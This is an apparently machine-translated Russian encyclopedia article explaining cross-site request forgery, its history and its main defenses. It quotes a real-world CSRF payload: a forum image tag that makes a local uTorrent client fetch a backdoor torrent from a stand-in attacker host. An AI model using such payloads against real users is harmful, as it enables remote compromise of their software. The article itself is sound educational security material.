Войти
Подделка межсайтовых запросов, также известная как атака в один клик или session ride и сокращенно CSRF (иногда произносится как sea-surf) или XSRF, представляет собой тип вредоносного эксплойта из веб-сайт, на котором неавторизованные команды отправляются от пользователя , которому веб-приложение доверяет. Есть много способов, которыми вредоносный веб-сайт может передавать такие команды; Например, специально созданные теги изображений, скрытые формы и JavaScript XMLHttpRequests могут работать без взаимодействия или даже без ведома пользователя. В отличие от межсайтового скриптинга (XSS), который использует доверие, которое пользователь имеет к определенному сайту, CSRF использует доверие, которое сайт имеет к браузеру пользователя.
При атаке CSRF злоумышленник обманом заставляет невиновного конечного пользователя отправить веб-запрос, который он не намеревался. Это может привести к выполнению действий на веб-сайте, которые могут включать непреднамеренную утечку данных клиента или сервера, изменение состояния сеанса или манипулирование учетной записью конечного пользователя.
В CSRF-атаке цель злоумышленника - заставить невинную жертву бессознательно отправить вредоносный веб-сайт. запрос на веб-сайт, к которому жертва имеет привилегированный доступ. Этот веб-запрос может быть создан для включения параметров URL, файлов cookie и других данных, которые кажутся нормальными для веб-сервера, обрабатывающего запрос. Под угрозой находятся веб-приложения, которые выполняют действия на основе ввода от доверенных и аутентифицированных пользователей, не требуя от пользователя авторизации определенного действия. Пользователь, который аутентифицирован с помощью файла cookie , сохраненного в веб-браузере пользователя, может неосознанно отправить запрос HTTP на сайт, который доверяет пользователю, и тем самым вызывает нежелательные действие.
Общим свойством веб-браузеров является то, что они автоматически и незаметно включают любые файлы cookie, используемые данным доменом, в любой веб-запрос, отправляемый в этот домен. Это свойство используется CSRF-атаками в том смысле, что любой веб-запрос, сделанный браузером, будет автоматически включать любые файлы cookie (включая файлы cookie сеанса и другие), созданные при входе жертвы на веб-сайт. В случае, если пользователя обманом заставили непреднамеренно отправить запрос через свой браузер, эти автоматически включенные файлы cookie приведут к тому, что поддельный запрос будет казаться веб-серверу реальным, и он будет выполнять любые должным образом запрошенные действия, включая возврат данных, манипулирование состоянием сеанса или выполнение изменения в учетной записи жертвы.
Для того, чтобы атака CSRF сработала, злоумышленник должен идентифицировать воспроизводимый веб-запрос, который выполняет определенное действие, например, изменение пароля учетной записи на целевой странице. Как только такой запрос идентифицирован, может быть создана ссылка, которая генерирует этот злонамеренный запрос, и эта ссылка может быть встроена на страницу, находящуюся под контролем злоумышленника. Эта ссылка может быть размещена таким образом, что жертве даже не нужно переходить по ней. Например, он может быть встроен в тег изображения html в электронном письме, отправленном жертве, которое будет автоматически загружено, когда жертва откроет свое электронное письмо. После того, как жертва щелкнет ссылку, ее браузер автоматически включит все файлы cookie, используемые этим веб-сайтом, и отправит запрос на веб-сервер. Веб-сервер не сможет идентифицировать подделку, потому что запрос был сделан пользователем, который вошел в систему и отправил все необходимые файлы cookie.
Подделка межсайтового запроса - это пример запутанной атаки заместителя на веб-браузер, потому что веб-браузер обманом заставил отправить поддельный запрос менее привилегированным злоумышленником.
CSRF обычно имеет следующие характеристики:
Уязвимости CSRF известны и в в некоторых случаях эксплуатируются с 2001 года. Поскольку он выполняется с IP-адреса пользователя, некоторые журналы веб-сайтов могут не содержать свидетельства CSRF. Об эксплойтах недостаточно сообщается, по крайней мере, публично, и по состоянию на 2007 год было несколько хорошо задокументированных примеров:
В 2018 году были проведены новые атаки на устройства с доступом в Интернет, в том числе попытки изменить настройки DNS маршрутизаторов. Некоторые производители маршрутизаторов поспешно выпустили обновления прошивки для улучшения защиты и посоветовали пользователям изменить настройки маршрутизатора, чтобы снизить риск. Подробности не разглашаются со ссылкой на «очевидные причины безопасности».
A Национальной базы данных уязвимостей Страница с описанием CSRF-уязвимости Злоумышленники, которые могут найти воспроизводимую ссылку, которая выполняет определенное действие на целевая страница, когда жертва находится в системе, может встроить такую ссылку на страницу, которую она контролирует, и обманом заставить жертву открыть ее. Ссылка на носитель атаки может быть размещена в месте, которое жертва, вероятно, посетит, войдя на целевой сайт (например, дискуссионный форум), или отправлена в теле сообщения электронной почты в формате HTML или вложении. Настоящая уязвимость CSRF в uTorrent (CVE-2008-6586 ) использовала тот факт, что его веб-консоль, доступная по адресу localhost : 8080, позволяла выполнять критические действия с использованием простой запрос GET:
Атаки были запущены путем размещения вредоносные, автоматические действия элементы изображения HTML на форумах и спам электронной почты, чтобы браузеры, посещающие эти страницы, открывали их автоматически, без особых действий пользователя. Люди, использующие уязвимую версию uTorrent одновременно с открытием этих страниц, были подвержены атаке.
CSRF-атаки с использованием тегов изображений часто совершаются с интернет-форумов, где пользователям разрешено публиковать изображения, но не JavaScript, например, с использованием BBCode :
[img] http: // localhost: 8080 / gui /? action = add-url s = http: //evil.example.com/backdoor.torrent [/ img]
При доступе к ссылке атаки на локальный uTorrent приложение на localhost: 8080, браузер всегда будет автоматически отправлять любые существующие файлы cookie для этого домена. Это общее свойство веб-браузеров позволяет CSRF-атакам использовать свои целевые уязвимости и выполнять враждебные действия, пока пользователь вошел на целевой веб-сайт (в данном примере - локальный веб-интерфейс uTorrent) во время атаки.
В описанном выше примере uTorrent атаке способствовал тот факт, что веб-интерфейс uTorrent использовал запрос GET для критических операций изменения состояния (изменение учетных данных, загрузка файла и т. Д.), который RFC 2616 явно не одобряет:
В частности, было установлено соглашение, что методы GET и HEAD НЕ ДОЛЖНЫ иметь значение выполнения действия, отличного от поиска. Эти методы следует считать «безопасными». Это позволяет пользовательским агентам представлять другие методы, такие как POST, PUT и DELETE, особым образом, чтобы пользователь был осведомлен о том, что запрашивается возможно небезопасное действие.
Из-за этого предположения многие существующие механизмы предотвращения CSRF в веб-фреймворках будут не охватывать запросы GET, а скорее применять защиту только к методам HTTP, которые предназначены для изменения состояния.
Злоумышленник может подделать запрос для входа жертвы на целевой веб-сайт, используя учетные данные злоумышленника; это известно как логин CSRF. CSRF входа в систему делает возможными различные новые атаки; например, злоумышленник может позже войти на сайт со своими законными учетными данными и просмотреть личную информацию, такую как история активности, которая была сохранена в учетной записи. Эта атака была продемонстрирована против Google и Yahoo.
. В зависимости от типа, методы запроса HTTP различаются по своей восприимчивости к атакам CSRF (из-за различий в их обработке веб-браузерами ). Следовательно, меры защиты от атаки зависят от метода HTTP-запроса.
field1 = value1 field2 = value2) CSRF-атака легко реализуется с помощью простой HTML-формы и должны применяться меры защиты от CSRF.ENCTYPE; такой поддельный запрос можно отличить от легитимных по типу содержимого text / plain, но если это не выполняется на сервере, CSRF может выполнятьсяAccess-Control-Allow-Origin: *headerДополнительно, хотя обычно описываются как статический тип атаки, CSRF также может быть динамически сконструирован как часть полезной нагрузки для атаки межсайтового скриптинга, как демонстрирует червь Samy, или сконструирован на лету из сеанса информация просочилась через сторонний контент и отправлена цели как вредоносный URL. Маркеры CSRF также могут быть отправлены клиенту злоумышленником из-за фиксации сеанса или других уязвимостей, или угаданы с помощью атаки грубой силы, отображаемой на вредоносной странице, которая генерирует тысячи неудачных запросов. Класс атаки «Динамический CSRF», или использование полезной нагрузки для каждого клиента для подделки, зависящей от сеанса, был описан в 2009 году Натаном Хамиелем и Шоном Мойером на брифингах BlackHat Briefings, хотя таксономия еще не получила широкого распространения.
Новый вектор для составления динамических CSRF-атак был представлен Ореном Офером на встрече местного отделения OWASP в январе 2012 года - «AJAX Hammer - Dynamic CSRF».
Метрики серьезности были выпущены для уязвимостей CSRF, которые приводят к удаленному выполнению кода с корневыми привилегиями, а также к уязвимости, которая может поставить под угрозу корневой сертификат, который полностью подорвать инфраструктуру открытого ключа.
Для успешной подделки межсайтовых запросов должно произойти несколько вещей:
Атака является слепой: злоумышленник не может видеть, что целевой веб-сайт отправляет жертве в ответ на поддельные запросы, если только он не использует межсайтовый скриптинг или другая ошибка на целевом веб-сайте. Точно так же злоумышленник может нацеливаться на любые ссылки или отправлять любые формы, которые появляются после первоначального поддельного запроса, если эти последующие ссылки или формы аналогичным образом предсказуемы. (Несколько целей можно смоделировать, включив несколько изображений на страницу или используя JavaScript, чтобы ввести задержку между щелчками.)
Учитывая эти ограничения, злоумышленник может столкнуться с трудностями при поиске вошедших в систему жертв или отправленных атакуемой формы.. С другой стороны, попытки атак легко поддаются организации и невидимы для жертв, а разработчики приложений менее знакомы и менее подготовлены к атакам CSRF, чем, скажем, к атакам по словарю для взлома паролей.
Большинство методов предотвращения CSRF работают за счет встраивания дополнительных данных аутентификации в запросы, которые позволяют веб-приложению обнаруживать запросы из неавторизованных мест.
(STP) - это метод, при котором токен, секрет и уникальное значение для каждого запроса внедряются веб-приложением во все формы HTML и проверяются на стороне сервера. Токен может быть сгенерирован любым методом, который обеспечивает непредсказуемость и уникальность (например, с использованием хэш-цепочки случайного начального числа). Таким образом, злоумышленник не может поместить правильный токен в свои запросы для их аутентификации.
Пример STP, установленного Django в форме HTML:
STP является наиболее совместимым, поскольку он полагается только на HTML, но вносит некоторую сложность на стороне сервера из-за нагрузки, связанной с проверкой действительности токена при каждом запросе. Поскольку токен уникален и непредсказуем, он также обеспечивает правильную последовательность событий (например, экран 1, затем 2, затем 3), что создает проблему удобства использования (например, пользователь открывает несколько вкладок). Его можно смягчить, используя токен CSRF для сеанса вместо токена CSRF для запроса.
Веб-приложения, которые используют JavaScript для большинства своих операций, могут использовать следующий метод защиты от CSRF:
Set-Cookie: csrf_token = i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Срок действия истекает = Thu, 23-Jul-2015 10:25:33 GMT; Макс-возраст = 31449600; Путь = /; Домен =.wikipedia.org; SameSite = Lax; Защищенный
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
Безопасность этого метода основана на предположении, что только JavaScript, запущенный на стороне клиента HTTPS-соединения с сервером, который изначально установил cookie, сможет читать значение cookie. JavaScript, запущенный из мошеннического файла или электронной почты, не должен иметь возможность успешно прочитать значение cookie для копирования в настраиваемый заголовок. Несмотря на то, что csrf-token cookie будет автоматически отправлен с мошенническим запросом, сервер все равно будет ожидать действительный заголовок X-Csrf-Token .
CSRF-токен сам по себе должен быть уникальным и непредсказуемым. Он может быть сгенерирован случайным образом или может быть получен из токена сеанса с использованием HMAC :
csrf_token = HMAC (session_token, application_secret)
Файл cookie токена CSRF не должен иметь httpOnly, поскольку он предназначен для чтения JavaScript по дизайну.
Этот метод реализован во многих современных фреймворках, таких как Django и AngularJS. Поскольку токен остается постоянным на протяжении всего сеанса пользователя, он хорошо работает с приложениями AJAX, но не обеспечивает последовательность событий в веб-приложении.
Защита, обеспечиваемая этим методом, может быть нарушена, если целевой веб-сайт отключает свою политику одинакового происхождения, используя один из следующих методов:
Аналогично подходу «cookie-заголовок», но без использования JavaScript, сайт может установить токен CSRF в качестве файла cookie, а также вставить его как скрытое поле в каждую HTML-форму. Когда форма отправлена, сайт может проверить, соответствует ли токен cookie токену формы. Политика одинакового происхождения не позволяет злоумышленнику читать или устанавливать файлы cookie в целевом домене, поэтому они не могут поместить действительный токен в созданную им форму.
Преимущество этого метода перед шаблоном синхронизатора заключается в том, что токен делает не нужно хранить на сервере.
При установке сервером файла cookie может быть включен дополнительный атрибут SameSite, который указывает браузеру, следует ли прикреплять файл cookie к межсайтовым запросам. Если для этого атрибута установлено значение «strict», cookie будет отправляться только по запросам того же происхождения, что делает CSRF неэффективным. Однако для этого требуется, чтобы браузер распознал и правильно реализовал атрибут, а также для файла cookie должен быть установлен флаг "Secure".
Расширения браузера, такие как RequestPolicy (для Mozilla Firefox ) или uMatrix (для Firefox и Google Chrome / Chromium ) могут предотвратить CSRF, предоставив политику отказа по умолчанию для межсайтовых запросов. Однако это может существенно помешать нормальной работе многих веб-сайтов. Расширение CsFire (также для Firefox) может смягчить влияние CSRF с меньшим влиянием на нормальный просмотр, удаляя информацию аутентификации из межсайтовых запросов.
Расширение NoScript для Firefox смягчает угрозы CSRF, отделяя доверенные сайты от ненадежных и удаляя аутентификацию и полезные данные из запросов POST, отправляемых ненадежными сайтами доверенным. Модуль Application Boundary Enforcer в NoScript также блокирует запросы, отправляемые с интернет-страниц на локальные сайты (например, localhost), предотвращая атаки CSRF на локальные службы (такие как uTorrent) или маршрутизаторы.
Расширение самоуничтожающихся файлов cookie для Firefox не защищает напрямую от CSRF, но может уменьшить окно атаки, удаляя файлы cookie, как только они больше не связаны с открытой вкладкой.
Исторически использовались или предлагались различные другие методы для предотвращения CSRF:
X-Requested-With(используется Ruby on Rails до v2.0 и Django до v1.2.5), или проверка заголовка HTTP Refererи / или HTTP Originзаголовок. Однако это небезопасно - комбинация плагинов браузера и перенаправления может позволить злоумышленнику предоставить настраиваемые заголовки HTTP по запросу на любой веб-сайт, что позволяет создать поддельный запрос.Refererheader, чтобы увидеть, исходит ли запрос с авторизованной страницы, обычно используется для встроенных сетевых устройств, поскольку не увеличивает требования к памяти. Однако запрос, в котором отсутствует заголовок Referer, должен рассматриваться как неавторизованный, поскольку злоумышленник может подавить заголовок Referer, отправив запросы с URL-адресов FTP или HTTPS. Эта строгая проверка Refererможет вызвать проблемы с браузерами или прокси, которые пропускают заголовок Refererиз соображений конфиденциальности. Кроме того, старые версии Flash (до 9.0.18) позволяют вредоносному Flash генерировать запросы GET или POST с произвольными заголовками HTTP-запросов с помощью CRLF Injection. Аналогичные уязвимости внедрения CRLF в клиенте могут использоваться для подмены реферера HTTP-запроса.